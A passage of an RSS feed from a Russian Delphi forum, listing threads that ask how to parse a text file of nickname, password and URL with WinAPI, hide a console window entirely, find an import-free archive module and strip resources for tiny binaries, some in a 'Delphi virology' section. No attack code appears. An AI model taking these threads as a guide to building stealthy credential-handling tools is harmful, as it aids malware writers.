/&gt;&lt;br /&gt; как получить строчку строчку url, а точнее &lt;b&gt;https://******.net/****.html&lt;/b&gt; адрес? С использованием только Uses Windows;</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>HTTqp</dc:creator>
<guid>https://delfcode.ru/forum/29-1422-1</guid>
</item>
<item>
<title>Парсинг txt файла</title>
<link>https://delfcode.ru/forum/10-1423-1</link>
<pubDate>Thu, 17 Sep 2015 09:09:17 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/10&quot;&gt;Вирусология Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: HTTqp&lt;br /&gt;Автор последнего сообщения: HTTqp&lt;br /&gt;Количество ответов: 0</description>
<content:encoded>Подскажите как спарсить файл txt при помощи winapi Delphi. Пример, есть файл со следующими данными &lt;br /&gt;&lt;br /&gt; &lt;!--uzcode--&gt;&lt;div class=&quot;bbCodeBlock&quot;&gt;&lt;div class=&quot;bbCodeName&quot; style=&quot;padding-left:5px;font-weight:bold;font-size:7pt&quot;&gt;Код&lt;/div&gt;&lt;div class=&quot;codeMessage&quot; style=&quot;border:1px inset;max-height:200px;overflow:auto;height:expression(this.scrollHeight&lt;5?this.style.height:scrollHeight&gt;200?&apos;200px&apos;:&apos;&apos;+(this.scrollHeight+5)+&apos;px&apos;);&quot;&gt;&lt;!--uzc--&gt; &lt;br /&gt; Nickname{&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;d4rkzy&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; Pass&amp;nbsp;&amp;nbsp;{&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;hgfh456uh&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; url {&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&quot;https://******.net/****.html&quot;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br /&gt; &lt;!--/uzc--&gt;&lt;/div&gt;&lt;/div&gt;&lt;!--/uzcode--&gt; &lt;br /&gt;&lt;br /&gt; как получить строчку строчку url, а точнее &lt;b&gt;https://******.net/****.html&lt;/b&gt; адрес? С использованием только Uses Windows;</content:encoded>
<category>Вирусология Delphi</category>
<dc:creator>HTTqp</dc:creator>
<guid>https://delfcode.ru/forum/10-1423-1</guid>
</item>
<item>
<title>Нужен модуль для работы с ZIP или RAR</title>
<link>https://delfcode.ru/forum/18-1144-1</link>
<pubDate>Wed, 16 Sep 2015 18:29:21 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/18&quot;&gt;Компоненты Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: срочно&lt;br /&gt;Автор темы: Anton93&lt;br /&gt;Автор последнего сообщения: ramzeswr&lt;br /&gt;Количество ответов: 8</description>
<content:encoded>ребят нужен модуль в котором описаны процедуры для работы с архивами, &lt;u&gt;&lt;b&gt;никаких визуальных компонентов, импортов из вне, и прочего.&lt;/b&gt;&lt;/u&gt; &lt;br /&gt; порылся в сети, в основном смешанные модули идут. по любому у кого-то здесь есть готовый. Лень самому это все вытаскивать и портировать. &lt;br /&gt; скиньте пожалуйста если не трудно &lt;img src=&quot;http://s5.ucoz.net/sm/23/wink.gif&quot; border=&quot;0&quot; align=&quot;absmiddle&quot; alt=&quot;wink&quot; /&gt;&lt;p&gt;&lt;b&gt;Добавлено&lt;/b&gt; (17.09.2013, 21:06)&lt;br /&gt;---------------------------------------------&lt;br /&gt;допустим чтобы была процедура архивации каталога. чтобы не описывать рекурсивное чтение и передачу местоположения каждого файла</content:encoded>
<category>Компоненты Delphi</category>
<dc:creator>Anton93</dc:creator>
<guid>https://delfcode.ru/forum/18-1144-1</guid>
</item>
<item>
<title>delphi XE7 консольный демон</title>
<link>https://delfcode.ru/forum/29-1397-1</link>
<pubDate>Sat, 12 Sep 2015 11:39:09 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Автор темы: d4rkzy&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 2</description>
<content:encoded>Как скрыть консоль у консольного проекта? &lt;br /&gt;&lt;br /&gt; Удалил: {$APPTYPE CONSOLE} &lt;br /&gt;&lt;br /&gt; Консоль все равно видна. &lt;br /&gt;&lt;br /&gt; Поставил ShowWindow(GetConsoleWindow(), 0); при запуске. &lt;br /&gt; Ну в таком раскладе консоль мегает на долю секунду, что не есть корректно. &lt;br /&gt;&lt;br /&gt; Как пофиксить?</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>d4rkzy</dc:creator>
<guid>https://delfcode.ru/forum/29-1397-1</guid>
</item>
<item>
<title>PACKAGEINFO и DVCLAL</title>
<link>https://delfcode.ru/forum/29-1410-1</link>
<pubDate>Tue, 08 Sep 2015 14:11:44 GMT</pubDate>
<description>Форум: &lt;a href=&quot;https://delfcode.ru/forum/29&quot;&gt;Вопросы по Delphi&lt;/a&gt;&lt;br /&gt;Описание темы: delphi mini&lt;br /&gt;Автор темы: black_catt&lt;br /&gt;Автор последнего сообщения: Anton93&lt;br /&gt;Количество ответов: 3</description>
<content:encoded>Осваиваю &lt;a class=&quot;link&quot; href=&quot;https://delfcode.ru/publ/delphi/delphivir/1-1-0-4&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;тему&lt;/a&gt; микроскопического delphi. &lt;br /&gt; Как &lt;b&gt;не создавать&lt;/b&gt; ресурсы PACKAGEINFO и DVCLAL &lt;br /&gt; яснопонятно что их можно удалять ресурсэксплорером...</content:encoded>
<category>Вопросы по Delphi</category>
<dc:creator>black_catt</dc:creator>
<guid>https://delfcode.ru/forum/29-1410-1</guid>
</item>

</channel>
</rss>